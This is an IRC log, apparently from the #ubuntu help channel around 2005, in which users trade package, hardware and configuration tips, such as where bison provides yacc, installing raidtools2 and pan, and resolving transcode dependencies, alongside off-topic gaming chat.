[10:37] <ekimus> deFrysk: if you specify the corresponding use flag, that's exactly what portage cares about for you (so the advantage is more about choice than speed). but most people should be happy with the packages any non-source distro provides, so there aren't any big advantages (maybe that gentoo has a better learning experience, but on the other hand gentoo uses quite a different layout than other distros)
[10:37] <nalioth> Seveas: i have scripts looking for yacc, not me calling it
[10:37] <Seveas> dennis@mirage ~ $ file `which yacc`
[10:37] <Seveas> /usr/bin/yacc: symbolic link to `/etc/alternatives/yacc'
[10:37] <Seveas> which again points to bison
[10:37] <deFrysk> ekimus, </geekbabble>
[10:38] <nalioth> Seveas: i have no yacc onboard
[10:38] <nalioth> Seveas: cant find it in the repos, either
[10:38] <Seveas> just bison
[10:38] <Seveas> bison installs this symlink
[10:38] <Seveas> try: sudu update-alternatives --list yacc
[10:38] <nalioth> Seveas: i'm REALLY confused now, didnt your just show us you have yacc (or a symlink thereof)?
[10:38] <ekimus> deFrysk: <nongeek>you need to do a lot of stuff by yourself on gentoo</nongeek> :)
[10:38] <bjv> lol,
[10:38] <bjv> sudo modprobe -v raid0 --dry-run
[10:38] <bjv> insmod /lib/modules/2.6.10-5-386/kernel/drivers/md/raid0.ko
[10:39] <omp342> ekimus: HTML TAGS! =o
[10:39] <deFrysk> ekimus, I know , used it myself ?
[10:39] <bjv> so all i need to do is modprobe each level? heh
[10:39] <deFrysk> ? = :)
[10:39] <nalioth> Seveas: your update-alt command yielded nothing for me
[10:39] <Seveas> bjv, they should be modprobed automagically ...
[10:39] <nalioth> Seveas: i'm d/l and installing it for myself
[10:39] <Seveas> nalioth, odd
[10:39] <Belutz> Seveas: hai :)
[10:40] <bjv> oh, i dont have any raid arrays yet.
[10:40] <Belutz> Seveas: i've been reading the forum last night, and most of the people do not recommend installing xmms, why is that?
[10:40] <tdn> nalioth, ok. I'll try to make it work :)
[10:40] <Seveas> nalioth, do you have a /usr/bin/bison.yacc ?
[10:40] <tdn> nalioth, but not right now. I have a few assignments, that I have to do first.
[10:40] <ekimus> Belutz: because xmms is crap and doesn't want to comply to windowmanager standards
[10:40] <nalioth> tdn: i've been talkin to seveas about some of the odd things that are necessary
[10:40] <Seveas> Belutz, beep-media-player is better :)
[10:40] <Belutz> ic
[10:41] <nalioth> tdn: hope it's worth it
[10:41] <Belutz> so i could just remove xmms?
[10:41] <tdn> nalioth, ok.
[10:41] <deFrysk> beeter = better-looking
[10:41] <ekimus> Belutz: and it comes from teletubby-"i am the most skinable application ever"-land
[10:41] <nalioth> Seveas: you are a very lucky fellow!
[10:41] <tdn> nalioth, yeah. I think that it is worth it.
[10:41] <Seveas> nalioth, ?
[10:41] <Belutz> ekimus: hehehehe
[10:41] <nalioth> tdn: we'll see, i'm installing toolchains to install toolchains, heh
[10:42] <subterrific> ugh, ignore -regexp -pattern "sexchat\.tr\.gs" *
[10:42] <subterrific> whats with all the message spam on freenode now...
[10:42] <ekimus> Belutz: removing it should be fine, if it tells you it will remove ubuntu-desktop too, don't worry. that's just because of dependencies (you'll still have your desktop)
[10:42] <tdn> nalioth, ok :)
[10:42] <Belutz> ekimus: yup, thx :)
[10:42] <chrismy> i am identified! yahoo!
[10:42] <Seveas> subterrific, /umode +CE
[10:42] <Seveas> and be gone spam :)
[10:43] <subterrific> Seveas: whats that do?
[10:43] <Seveas> makes the network not send you PM's from unidentified users
[10:43] <chrismy> ahh
[10:43] <chrismy> that is good
[10:43] <subterrific> Seveas: i just added ignores with regex patterns
[10:44] <bjv> huh, ive got md & mdadm
[10:44] <Seveas> won't work
[10:44] <bjv> but no mkraid?
[10:44] <chrismy> am i ignored to anyone? hmmmmm
[10:44] <lunitik> subterrific: C turns off ctcp's from unregistered users... E turns off /msg's from unregistered users
[10:44] <Seveas> random nick/ident/hosts
[10:44] <bjv> is there a package i could apt-get?
[10:44] <subterrific> Seveas: but their spam is the same, so my regex matches the spam :)
[10:44] <Seveas> subterrific, *g*
[10:44] <bjv> raidtools2?
[10:44] <Seveas> bjv, raidtools2
[10:44] <chrismy> !apache
[10:44] <ubotu> well, apache is Apache/PHP http://www.ubuntulinux.org/wiki/PHPDevelopmentHowTo/ http://www.ubuntulinux.org/support/documentation/faq/installation-custom
[10:44] <Seveas> raidtools2: sbin/mkraid
[10:44] <bjv> k, thx.
[10:45] <Belutz> if i want to make alias in bash is it in .bashrc or in .bash_profile ?
[10:45] <bjv> raidtools2 - Utilities to support 'new-style' RAID disks
[10:45] <bjv> wasnt sure if what i was doing was 'new style' :/
[10:48] <aftertaf> !info adesklets
[10:48] <aftertaf> !info yab
[10:48] <nalioth> aftertaf: they don't exist
[10:48] <nalioth> aftertaf: you want adesklets, ya gotta get em the hard way
[10:48] <aftertaf> much effort for eye candy???
[10:48] <aftertaf> could be fun!
[10:49] <ekimus> anyone using eclipse? i need to know how much space it requires in the default install
[10:49] <nalioth> !info bison
[10:49] <ubotu> bison: (A parser generator that is compatible with YACC), section devel, is optional. Version: 1:1.875d-1 (hoary), Packaged size: 643 kB, Installed size: 1356 kB
[10:49] <nalioth> my apt-get can't find bison
[10:50] <aftertaf> nalioth:  you mean, d/l the tar and install the hard way??
[10:50] <|line> is anyone here experienced with using usenet in linux
[10:50] <_mindspin> what are the risks of compiling a programm by yerself, beside its always agood idea to stuck to ubuntu package management?
[10:51] <|line> depends on the program mind
[10:51] <_mindspin> fwbuilder
[10:51] <_mindspin> the firewallcompiler in ubuntu is kinda buggy
[10:51] <_mindspin> so I have to update zo a more current version
[10:51] <Seveaz> _mindspin, there are several
[10:51] <|line> have you tried firestarter
[10:52] <_mindspin> no
[10:52] <|line> might be better than compiling
[10:52] <_mindspin> no
[10:52] <_mindspin> its for a remote machine
[10:52] <nalioth> aftertaf: you'll be d/l many source tgz's
[10:52] <|line> oh ok
[10:52] <_mindspin> is firestarter able to create fwrules for remote machines?
[10:52] <|line> not sure but i doubt it
[10:53] <|line> its more of a local iptables based program
[10:53] <_mindspin> i only have to install two source packages (I hope ;-)
[10:53] <ikkys> guys. can i run centericq on gnome? as in on the desktop?
[10:53] <nalioth> _mindspin: if you are xforwarding the firestarter on the remote machine
[10:53] <|line> so anyone have any ideas about usenet in linnux
[10:53] <_mindspin> no x on the remote machine
[10:53] <_mindspin> its arouter
[10:53] <nalioth> |line: what about nntp in linux?
[10:54] <Pelalil> whats the easiest way to get a new 2.6.12 kernel into my hoary install?
[10:54] <|line> its an external server
[10:54] <nalioth> _mindspin: then you'll be using good ol' text mode i'd think
[10:54] <|line> if thats what you mean
[10:54] <_mindspin> maybe
[10:54] <ekimus> |line: you talking about setting up a server or just using a client?
[10:54] <_mindspin> but fwbuilder is so cute and easy to use
[10:54] <nalioth> |line: sorry i thought you had a question about usenet
[10:54] <|line> a client
[10:54] <ekimus> |line: apt-cache show pan
[10:54] <_mindspin> its like the admin interface of fw1
[10:55] <|line> i need a client that can handle lots of binarys
[10:55] <nalioth> |line: pan is the best
[10:55] <|line> and handle huge groups
[10:55] <ekimus> |line: nice, graphical, can handle binary too
[10:55] <aftertaf> the desklets.. you mean nalioth ?
[10:55] <nalioth> |line: pan is the best
[10:55] <aftertaf> kinda noticed, yeah :/
[10:55] <nalioth> aftertaf: yes the adesklets depend on things you dont have onboard and arent in the repos
[10:55] <topyli> |line: just run a client, connect to server, join some groups, get your pr0n :)
[10:55] <ikkys> guys. can i run centericq on gnome? as in on the desktop?
[10:55] <nalioth> aftertaf: simple things, just not apt-gettable
[10:55] <ekimus> |line: including parted stuff (like only show complete files and stuff). just try pan it's really user friendly _and_ powerfull
[10:55] <_mindspin> I'll first have a try on compiling fwbuilder by myself
[10:55] <aftertaf> hehe
[10:55] <nalioth> ikkys: try it
[10:56] <ikkys> how? cuz im running it from a terminal window now
[10:56] <|line> is pan pretty stable? last time i ran it it had problems with the larger groups
[10:56] <omp342> i'm going to create a little website with a few guides (i'll add a guide everytime i help someone with something)
[10:56] <omp342> that way i won't have to go through all that trouble again :)
[10:56] <|line> cool omp
[10:56] <aftertaf> omp342:  wiki ??
[10:56] <|line> shoot us a link when its up
[10:56] <aftertaf> contribute to the grater good man ;)
[10:56] <topyli> |line: it gets better all the time, it's in active development
[10:57] <NoUse> omp342 yeah don't create a new site
[10:57] <|line> thx guys for help
[10:57] <NoUse> !wiki
[10:57] <bjv> http://konst.org.ua/data/programs/001/screenshots/006.gif
[10:57] <omp342> i wan't to create a new site because i have a hosting account lying around (not been used for months)
[10:57] <bjv> centericq looks like a terminal app
[10:57] <omp342> and i always wanted something to do with it
[10:57] <Madpilot> omp342: edit or add to the wiki's pages
[10:57] <omp342> Madpilot: which wiki :P
[10:58] <NoUse> omp342 http://wiki.ubuntu.com
[10:58] <omp342> i don't even use ubuntu lol
[10:58] <NoUse> omp342 you'll be reinventing the wheel
[10:58] <omp342> this is going to be general linux stuff :] 
[10:58] <ekimus> bjv: it is
[10:58] <nalioth> omp342: why not add to the wiki?
[10:58] <topyli> bjv: yes, it's a ncurses ui
[10:59] <Madpilot> so stick it in Ubuntu's wiki anyway - there's lots of general-Linux stuff in there
[10:59] <omp342> sure i'll add stuff to the wiki, but i'll also have it on a seperate site :)
[10:59] <ekimus> damn eclipse is 100MB, and that's only the tarball
[10:59] <nalioth> |line: i use it everyday for large groups
[10:59] <ekimus> is there any smaller version around?
[10:59] <omp342> i'll just have it on a seperate site and in the wiki :)
[10:59] <nalioth> |line: i dont know anything else remotely user-friendly (without a huge learning curve)
[11:00] <topyli> omp342: it's still good to have some stuff on your own site, notes for yourself. i have one
[11:00] <topyli> omp342: doesn't mean you can't improve the wiki at the same time
[11:01] <|line> im grabbing it now
[11:01] <omp342> yep, just like i said, ill have it both in my site and the wiki
[11:01] <catfox> sorry all, i know this is OT, but i can't find anything to help me.
[11:02] <|line> kinda off topic.. but have you seen the pirate commercial on tv.. where all he can say is ARRR
[11:02] <|line> hilarous
[11:02] <catfox> i'm trying to write a page which has a nested view, with it's own scrollbar, rather than using the browser's main scrollbar. i think it's css, not frames
[11:02] <topyli> omp342: my site has great looks. feel free to copy: http://siltala.net/comp/tips.html
[11:02] <omp342> |line: i've seen it
[11:02] <kagameost> hi, can i install ubuntu64 bit with root/home on diff partitions?
[11:03] <|line> cant remember the company though
[11:03] <omp342> me neither =/
[11:03] <omp342> topyli: i'm sort of a web designer :P
[11:03] <|line> i guess its not that good of an ad
[11:03] <topyli> omp342: i guess i'm not :)
[11:03] <|line> omp can i pm you
[11:04] <omp342> sure
[11:04] <thenuke> heeey what's an easy firewall for a newbie, that firewall should then protect the LAN
[11:04] <ekimus> kagameost: yes, that shouldn't be of any issue no matter which architecture you use
[11:04] <catfox> anyone have an idea?
[11:04] <catfox> i think it's something to do with using css to make a nested box view. jimmac used to have one on his site
[11:04] <Madpilot> catfox: http://www.cssplay.co.uk/index.html <-- check some of the layouts here out
[11:04] <|line> try firestarter
[11:04] <ekimus> thenuke: shorewall, fwbuilde, docs schould be on netfilter.org (those are mainly for iptables, all of the other tools are just frontends to iptables)
[11:05] <|line> i used it for awhile i liked it
[11:05] <ekimus> thenuke: sorry fwbuilder
[11:05] <|line> pretty easy
[11:05] <kagameost> i know that  but someone told me that it couldnt be done on earlier versions and i'm dl the latest as we speek
[11:05] <catfox> maddler, i'll have a look. cheers!
[11:06] <nalioth> kagameost: certainly you can
[11:06] <thenuke> ekimus: allright thank you
[11:06] <nalioth> thenuke: http://software.newsforge.com/article.pl?sid=05/05/09/1846213&tid=78&tid=130
[11:07] <kagameost> good:) thanks .. dont wanna loose  my stuff in /home:)
[11:07] <thenuke> nalioth: thank you a lot too.
[11:10] <aftertaf> doh: adesklets ./configure crashes here: configure: error: Could not find the readline library
[11:10] <aftertaf> !info readline
[11:11] <franco64> hi is there anyone that can help me for a sec
[11:11] <_mindspin> lots maybe
[11:12] <franco64> i have installed gDesklets on my system but it will not start up
[11:12] <|line> what can we do for you franco
[11:12] <|line> whats the error?
[11:12] <franco64> no error
[11:12] <topyli> aftertaf: try libreadline4 (and -dev)
[11:12] <franco64> that's the problem
[11:13] <topyli> aftertaf: you might need libreadline-python or something as well
[11:13] <franco64> it just starts showing on the panel and then just quits
[11:13] <|line> its a daemon
[11:13] <franco64> yhep
[11:13] <|line> you need to run the config program
[11:14] <topyli> franco64: it's running, but you need to add some displays too
[11:14] <omp342> i just realized a slight problem :/
[11:14] <aftertaf> cheers topyli
[11:14] <omp342> how am i going to make a website without photoshop :/
[11:14] <|line> ok try this
[11:14] <|line> gdesklets ~/desklets/mydesklet.display
[11:14] <|line> in console
[11:14] <aftertaf> gimp
[11:14] <franco64> funy thing is that i used the synaptiuc package manager to totally uninstall and then reinstalled it
[11:15] <omp342> aftertar: yah, but i just started using linux so i'm not too good with gimp
[11:15] <_mindspin> omp342: photoshop? I use a text editor for websites
[11:15] <topyli> omp342: i never knew photoshop was a html editor :)
[11:15] <|line> run that command and post the errors here
[11:15] <omp342> lol
[11:15] <franco64> i have also added loads of displays that came with synaptic
[11:15] <omp342> to create the template
[11:15] <aftertaf> omp342:  how come you know so much bout linux after 2 weeks? you housemates with torvalds??
[11:15] <omp342> i use photoshop to create the images, and notepad to code the site
[11:16] <franco64> |line: ok will do
[11:16] <omp342> aftertaf: i don't know that much
[11:16] <omp342> aftertaf: and since i use gentoo i learn a lot
[11:16] <_mindspin> omp342: gimp is not that difficult for average needs
[11:16] <aftertaf> best beginner i ever came accross!!
[11:16] <_mindspin> like resizing, cut n paste
[11:16] <aftertaf> ahh gentoo... a bsd convert
[11:16] <Madpilot> omp342: who needs images just for web design? ;) http://www.warbard.ca/avgas  <-- one of mine, and only one tiny image in the design...
[11:17] <jsgotangco> Madpilot, that css work is wicked
[11:18] <Madpilot> jsgotangco: thanks - that was the first pure-css site I ever built. fun stuff!
[11:18] <ikkys> guys, so i cant run centericq on gnome desktop as those transparencey kind programs?
[11:18] <omp342> Madpilot: i like to have logos as images (and sometimes table borders), but i'm going to create a simple site, so i'm only going to need to create a logo
[11:18] <omp342> oh well, i guess this is the perfect oppurtunity to start learning gimp :)
[11:19] <aftertaf> cue Matrix......
[11:19] <|line> gimp is fun when you get the hang of it
[11:19] <aftertaf> "I know Kung-Fu"
[11:19] <Madpilot> omp342: start bashing away in the GIMP, it's not that hard - biggest problem I've had is remembering not to use the PS shortcuts...
[11:19] <_mindspin> ogra:  play around
[11:19] <sexcopter8000m> is there an apt package for java runtime for firefox? i can see "java-common" will that do?
[11:19] <Madpilot> !tell sexcopter8000m about java
[11:19] <franco64> |line: this is what is get
[11:20] <omp342> i think i'll get photoshop running under WINE :)
[11:20] <ntoll> ok... whats the default user for postgresql on ubuntu?
[11:20] <franco64> You're running gDesklets for the first time.
[11:20] <franco64> gDesklets will start a requirements check now...
[11:20] <franco64> Checking requirements:
[11:20] <franco64>  - sys ... found
[11:20] <franco64>  - xml.parsers.expat ... found
[11:20] <franco64>  - xml.sax ... found
[11:20] <franco64>  - gtk ... found
[11:20] <sexcopter8000m> ty Madpilot
[11:20] <franco64>  - ORBit ... found
[11:20] <franco64>  - gnome ... found
[11:20] <franco64>  - gconf ... found
[11:20] <franco64>  - gtkhtml2 ... found
[11:20] <omp342> stop spamming franco64
[11:20] <franco64>  - bonobo.ui ... found
[11:20] <franco64> Requirements checking done. Your system looks ok!
[11:20] <Madpilot> !tell franco64 about pastebin
[11:20] <franco64> You must NOT run gDesklets as super user (root).
[11:20] <franco64> oopps sorry
[11:20] <franco64> how do i use paste bin
[11:21] <omp342> you just go to pastebin.com
[11:21] <omp342> and poste it there
[11:21] <omp342> post*
[11:21] <omp342> and give the link to people
[11:21] <ntoll> can't seem to connect as either root, my own user or the user postgresql
[11:21] <franco64> ok sorry folks did not know that
[11:21] <|line> are you logged in as root
[11:21] <franco64> apologies no spamming intended
[11:21] <omp342> i prefer http://rafb.net/paste/ over http://www.pastebin.com/
[11:21] <aftertaf> s'cool.
[11:21] <franco64> will do this in just normal console
[11:22] <aftertaf> any diference between adesklets and gdesklets?
[11:22] <aftertaf> apart from spelling ;)
[11:22] <omp342> hmm i never heard of adesklets
[11:22] <twibbler> does anybody have any blue tooth setup knowledge with laptop and dongle?.
[11:22] <|line> try this link copter
[11:22] <|line> http://plugindoc.mozdev.org/faqs/java.html#Linux
[11:22] <franco64> |line did get error message
[11:23] <|line> you can post in pm if you like
[11:24] <omp> :)
[11:24] <omp> what shuold i use
[11:24] <|line> =)
[11:24] <omp> omp or omp342?
[11:24] <|line> omp
[11:24] <franco64> |line look at the following error message
[11:24] <franco64> http://pastebin.com/349879
[11:24] <_mindspin> I must use _mindspin cause I forgot the passwd for mindspin haha
[11:25] <nalioth> aftertaf: adesklets uses imlib and python, not sure what gdesklets uses (wont work for me)
[11:25] <pprince_> _mindspin: you can ask a services op for help with that.
[11:25] <_mindspin> and where can I find one?
[11:25] <nalioth> _mindspin: go to #freenode and ask
[11:26] <|line> that looks like a dev thing then franco
[11:26] <_mindspin> hanks
[11:26] <omp> okay
[11:26] <omp> i just registered omp with nickserv :)
[11:26] <topyli> what does it mean when cdrecord fails, saying "cdrecord: Trying to use ultra high speed medium on improper writer."
[11:26] <|line> i would reccomend mailing the devs with that error
[11:27] <topyli> i do have an "ultra-speed" cdrw here
[11:27] <franco64> any ideas would be greatrfull
[11:27] <topyli> i'll see if i can find another disk
[11:28] <omp> i never got a reply from opera.. i'm thinking it was a scam =o
[11:28] <|line> top it may be detecting the media improperly
[11:28] <topyli> hmm. here's the cdrw with my backups. that's pretty useless, i'll try that one :)
[11:29] <|line> huh?
[11:29] <aurax> anyone here got sata raid working ?
[11:29] <topyli> |line: i just wrote a disk yesterday with success
[11:29] <aurax> raid1
[11:29] <|line> yah but not that disc exactly
[11:29] <topyli> |line: yes i did
[11:29] <|line> ok.. wel im stumped
[11:29] <topyli> |line: i mean this backup disc, not this new one of course
[11:30] <topyli> i'm just trying to comprehend what this ultra-speed disk-fu is about
[11:31] <|line> from what i understand the media is greater than 16x
[11:31] <omp> does anyone here use googletalk?
[11:31] <topyli> |line: it does say 16-24x. my writer says 10x for rw :(
[11:32] <|line> probably it
[11:32] <|line> you can try -force but it wont always work
[11:32] <topyli> shit. now there's even incompatible cdrw's. what next?
[11:32] <Digis> hi, I have a problem, even with root I cant read (even ls -al), a lot of files from etc, for example /etc/services..
[11:33] <|line> what is your burner
[11:33] <topyli> |line: seems to be an LG dvd/cdrw
[11:34] <omp> someone write stomp and click enter
[11:34] <topyli> |line: 32x10x40
[11:34] <topyli> i need a smoke
[11:34] <pprince_> omp: Ok, I wrote "stomp" on a sticky note, but I can't figure out how to use the mouse to click the enter key.
[11:35] <omp> :P
[11:35] <pprince_> :P
[11:35] <omp> someone write stomp her
[11:35] <omp> here
[11:35] <pprince_> stomp
[11:35] <omp> yay
[11:35] <omp> its not red :)
[11:35] <omp> i thought having the word "omp" in it, might make it seem like someone is messaging me
[11:36] <pprince_> My normal nick is tweakism.  I also have it hilight tweak, a common shortcut for people in the dark ages before tab complete.  I have to turn it off for #ubuntu and *especially* #gentoo, though :P
[11:36] <|line> omp:
[11:36] <omp> |line is sending me invisible messages =o
[11:36] <|line> lol
[11:36] <|line> wondered if it would be red for you
[11:36] <topyli> omp: not what would suck. people do speak about cOMPuters here :)
[11:37] <omp> :)
[11:37] <topyli> *now that...
[11:37] <pprince_> heh, how often do you see someone type out "computer" here?  I bet box, machine, pc, laptop, desktop, etc are much more common.
[11:37] <|line> we should all type computer
[11:37] <omp> i have a computer
[11:37] <omp> in fact, i have 4 computers :P
[11:37] <|line> i love my computer
[11:38] <omp> i love mine too
[11:38] <topyli> help! my computing environment is going inconsistent!
[11:38] <pprince_> hmm, I did /last computer.  I was wrong:
[11:38] <pprince_> -!- Irssi: /LASTLOG would print 4523 lines.
[11:38] <pprince_> and that's just from this evening.
[11:38] <|line> might even buy a new computer to compute why i need a new computer to do the computing of whether i was right
[11:39] <omp> i still don't know why i come into this room =] 
[11:39] <omp> channel
[11:39] <omp> or w/e you want to call it :)
[11:39] <|line> cuz its fun
[11:39] <omp> yah, but i don't even use ubuntu lol
[11:39] <|line> me either
[11:40] <omp> what do you use?
[11:40] <|line> suse 9.3
[11:40] <omp> oh
[11:40] <|line> you
[11:40] <topyli> spit it out, you have xp
[11:40] <omp> gentoo
[11:40] <pprince_> I use Winders, the win32-compatible OS from the hills of West Virginia.
[11:40] <omp> i'm going to install xp soon (on another partition, of course)
[11:40] <Madpilot> good night/morning/$time_of_day, everyone. need sleep...
[11:40] <omp> good night :P
[11:41] <omp> 2:41 am =o
[11:41] <topyli> where are all the newbies? i want to help somebody before i break this thing with the breezy upgrade
[11:41] <pprince_> Good $GREETING_TIME, $FULL_NAME!
[11:41] <topyli> but now out for smokes
[11:41] <pprince_> topyli: heh, need to build up a karma reserve? :P
[11:41] <|line> i prefer 2k over xp
[11:41] <|line> xp is so bloated
[11:41] <omp> the only reason i need xp
[11:41] <omp> is for my
[11:41] <pprince_> I actually prefer 98 out of all of them.
[11:41] <omp> STEAM! :)
[11:41] <omp> it doesn't want to run on cedega
[11:41] <topyli> pprince_: that's right. i already checked the moon, and i have a dead chicken here
[11:42] <pprince_> topyli: Well, you've done all you can.  Best of luck.
[11:42] <|line> why wont it run
[11:42] <omp> :P
[11:42] <bjv> wasnt wine under the gpl?
[11:42] <omp> bjv: yes
[11:42] <bjv> how does transgaming do their bullshit with wine code then?
[11:42] <pprince_> wine sucks, but perhaps less than windows itself.
[11:42] <bjv> because their cvs != their for $$ binary
[11:42] <|line> they offer cedega in cvs
[11:43] <omp> bjv: well, cedega cvs is free
[11:43] <|line> but not rpm
[11:43] <bjv> there is no code for the binary
[11:43] <omp> either way
[11:43] <omp> cedega is free for me :P
[11:43] <omp> i have a buddy called bittorrent
[11:43] <|line> are there any good gtk based rar tools
[11:44] <omp> |line: i have one but i forgot what it's called :P
[11:44] <ookii> hey i'm having a problem with transcode not being able to find lame even though i just installed it, can anyone help me out?
[11:44] <bjv> omp: i might know exactly what you mean..
[11:44] <|line> i hate having 25 rars and doing it all by command line
[11:44] <bjv> it's still bullshit that GW running in cvs and full cedega doesnt work the same.
[11:44] <omp> |line: i had one that added rar support to Archive Manager
[11:44] <omp> |line: but i forgot what its called :/
[11:44] <|line> gw?
[11:44] <bjv> and that all the source i downloaded from the cvs was 3+ months old.
[11:45] <bjv> guildwars
[11:45] <omp> ehh
[11:45] <omp> i just play cs:s
[11:45] <omp> :)
[11:45] <catfox> anyone know where postfix stores its user mail?
[11:45] <omp> since i'm an administrator at a cs:s community, it's plenty of fun :)
[11:45] <Belutz> how to enable built-in memory card reader in ubuntu?
[11:45] <|line> /usr/mail?
[11:46] <bjv> omp: eh, i got hooked on infiltration for unreal before i played CS
[11:46] <|line> what kind of reader is it bel
[11:46] <bjv> and UT runs fine under the cvs. :P
[11:46] <|line> i still like team fortress
[11:46] <|line> die too much in source
[11:46] <omp> bjv: the only games i ever got hooked on were: diablo 2, cs, cs:s
[11:46] <|line> cs:s i mean
[11:46] <Belutz> |line: 0000:02:04.1 FLASH memory: ENE Technology Inc CB710 Memory Card Reader Controller
[11:47] <Belutz> |line: that's what i get from lspci command
[11:47] <nalioths_dog> #ubuntu-offtopic
[11:47] <omp> i played diablo 2 only for a few months though
[11:47] <bjv> D2 was madness. i used to be such a freak.
[11:47] <omp> i've been playing cs and cs:s for a few years now (probably 4-5)
[11:47] <catfox> any ideas, anyone?
[11:47] <omp> and i'm still not bored of it
[11:47] <omp> :)
[11:47] <bjv> lol, same story with me and infiltration
[11:47] <bjv> there is some work to port it to HL2 actually.
[11:47] <omp> but for some reason, i can never play cs:s in any server
[11:48] <omp> i can only play it in one server or i feel weird
[11:48] <omp> because i've been a member of some cs community for about 2 years now (im an admin there now)
[11:48] <omp> and i know everyone there
[11:48] <omp> and it feels akward playing with strangers on other servers
[11:48] <bjv> infiltration is way-way underground so we dont really have that problem
[11:48] <johntramp> has anyone here been able to get picard to run?  https://musicbrainz.helixcommunity.org/
[11:48] <bjv> even if i play on one of the 2-3 euro servers i still know half the guys.
[11:49] <nalioths_dog>  this is bloody gobbets for #ubuntu-offtopic
[11:49] <pprince_> johntramp: heh, I was just looking at that (for the first time) this morning.
[11:49] <johntramp> pprince_, it looks good
[11:49] <omp> bjv: lately i've only been playing PPRacer and SuperTux. :)
[11:49] <ookii> can anyone help me with a dependency that isn't working for some strage reason?
[11:49] <catfox> does anyone know where postfix stores its user mail, please?
[11:49] <|line> I don't think that getting the card reader working is going to be hard to do. First of all, it looks like TI1250 devices have been supported since 2.4.18 kernels ie that is RH8 vintage, 2 years ago.
[11:49] <Seveaz> bjv, omp, take this off topic discussion elsewhere please
[11:49] <Digis> catfox, /var/mail...?
[11:49] <Seveaz> ookii, paste the complete error at the pastebin
[11:49] <omp> Seveaz: okay, sorry :)
[11:50] <pprince_> /var/spool/postfix
[11:50] <StrikeForce> this spam is unbelievable
[11:50] <nalioths_dog> i barked twice as a gentle reminder, fellas
[11:50] <Seveaz> StrikeForce, /umode +CE
[11:50] <ookii> Seveaz: done
[11:50] <Belutz> |line: so what should i do?
[11:50] <omp> StrikeForce: if /umode +CE doesn't work do  /mode yournamehere +CE
[11:50] <|line> im looking into it
[11:51] <|line> i'll post here in a bit what i find
[11:51] <StrikeForce> thanks
[11:52] <Seveaz> ookii, where?
[11:52] <Belutz> |line: ok, thx
[11:52] <nalioth> damned adesklets don't work either
[11:52] <ookii> Seveaz: http://pastebin.com/349889
[11:53] <deFrysk> ! evince
[11:53] <ubotu> Not a clue, deFrysk
[11:53] <onkarshinde> !evince
[11:53] <ubotu> Bugger all, i dunno, onkarshinde
[11:53] <nalioths_dog> !info evince
[11:53] <ubotu> evince: (Document (postscript, pdf) viewer), section universe/gnome, is optional. Version: 0.1.9-0ubuntu1 (hoary), Packaged size: 189 kB, Installed size: 788 kB
[11:54] <nalioth> all that work for practically nothing
[11:54] <Seveaz> ookii, what are you compiling?
[11:54] <StrikeForce> thanks for that
[11:55] <ookii> Seveaz: transcode, and i just complied lame from souce
[11:55] <Phr0stByte> Hi all
[11:55] <StrikeForce> because I had 30-40 pms about sex :)
[11:55] <Seveaz> ookii, transcode debs -> seveas.ubuntulinux.nl :)
[11:56] <ookii> Seveaz: Thanks, here's hoping!
[11:56] <aftertaf> nalioth: configure: error: Cannot find imlib2: Is imlib2-config in the path?
[11:56] <Seveas> aftertaf, imlib2-dev
[11:57] <nalioths_dog> aftertaf, install imlib2 and its -dev via your favorite apt-get tool
[11:58] <ookii> Seveas: No dice! The following packages have unmet dependencies:, and then it goes on how to say they aren't installable
[11:59] <Seveas> ookii, paste the complete output on the pastebin :)
[11:59] <unvs_> which vnc-server would you recommend?
[11:59] <ookii> Seveas: http://pastebin.com/349894
[12:00] <nalioth> seems i'm not meant to have *desklets of any kind
[12:00] <nalioth> aftertaf: better luck to you
[12:00] <nalioth> aftertaf: you also have gdesklets and superkaramba to use, if you didnt know
[12:00] <Seveas> ookii, enable multiverse
[12:00] <aftertaf> trying.... :)
[12:01] <sime> there is only one mirror of colony 3 right ?
[12:01] <aftertaf> !info imlib2
[12:01] <aftertaf> i dont have it in apt...
[12:01] <aftertaf> :/
[12:01] <Seveas> ookii, multiverse also has packages for lame ;)
[12:01] <ookii> Seveas: whats that? :-p
[12:01] <Seveas> !tell ookii about repos
[12:02] <Seveas> aftertaf, libimlib2-dev - Imlib2 development files
[12:02] <Seveas> you need that package
[12:03] <|line> ok yah about the card reader there is no support for it currently that i can locate
[12:04] <aftertaf> gotcha Seveas cheers mate ;)
[12:05] <ookii> Seveas: looks like it worked, do you think i should get rid of the lame i compiled from source and get the one from apt?
[12:06] <ookii> Seveas: it did download some liblame0 stuff for itself
[12:06] <Seveas> ookii, yes I think you should :)
[12:06] <ookii> Seveas: ah, a refresher on how to do that, make remove?
[12:07] <Seveas> make uninstall
[12:07] <osfameron> heh, my OOo borks on spreadsheets generated with Spreadsheet::WriteExcel...
[12:07] <Seveas> (if you are lucky)
[12:07] <osfameron> useless piece of crap
[12:07] <Seveas> otherwise: find the files it installed yourself
[12:07] <|line> yah uninstalling is a pain in linux
[12:07] <|line> unless you used packages
[12:08] <ookii> looks like it worked, it was from souce
[12:08] <ookii> source
[12:08] <|line> well speak of the devil
[12:08] <|line> lol
[12:08] <aftertaf> lol
[12:08] <nalioth> |line: may i suggest you use "checkinstall" instead of "make install" when you compile your own code
[12:08] <theD3viL> wtf? :P
[12:09] <nalioth> |line: checkinstall makes debs for easy pkg maintenance
[12:09] <|line> yah you can nalioth
[12:09] <|line> can alien take debs and make rpms
[12:09] <|line> im in Suse
[12:10] <ookii> Seveas: i'm actually trying to install tovid, but it's not on the apt list, and has some dependencies I don't know if I can find
[12:10] <Seveas> ookii, such as?
[12:10] <Seveas> |line, no it cannot
[12:11] <Seveas> |line, strike that, it can
[12:11] <Seveas> alien --to-rpm filename.deb
[12:11] <ookii> Seveas: yuvfps,mpeg2enc,mp2enc,mplex,lsdvd,normalize
[12:11] <|line> anyone know what would cause the soundserver to sometimes work and sometimes not.. occasionaly it will report another event but im using esd sound so 2 events should be fine right?
[12:12] <cafuego_> !find yuvfps
[12:12] <Seveas> yuvfps - no
[12:12] <|line> cool so i can use checkinstall and make debs to rpms
[12:12] <ubotu> Ubuntu Search of 'yuvfps' (1 shown): (/usr/bin/yuvfps) in multiverse/graphics/mjpegtools.
[12:12] <Seveas> mp*enc - mencoder maybe
[12:12] <|line> thats awesome
[12:12] <nalioth> |line: yes, alien works both ways on many formats
[12:12] <cafuego_> Seveas: yuvfps - yes
[12:12] <Seveas> cafuego_, hmm :)
[12:12] <nalioth> |line: no, you can use checkinstall to make rpms
[12:12] <cafuego_> mpeg2enc is in mjpegtools too
[12:12] <|line> even better
[12:12] <cafuego_> !find lsdvd
[12:12] <Seveas> ah yuvfps - package mjpegtools
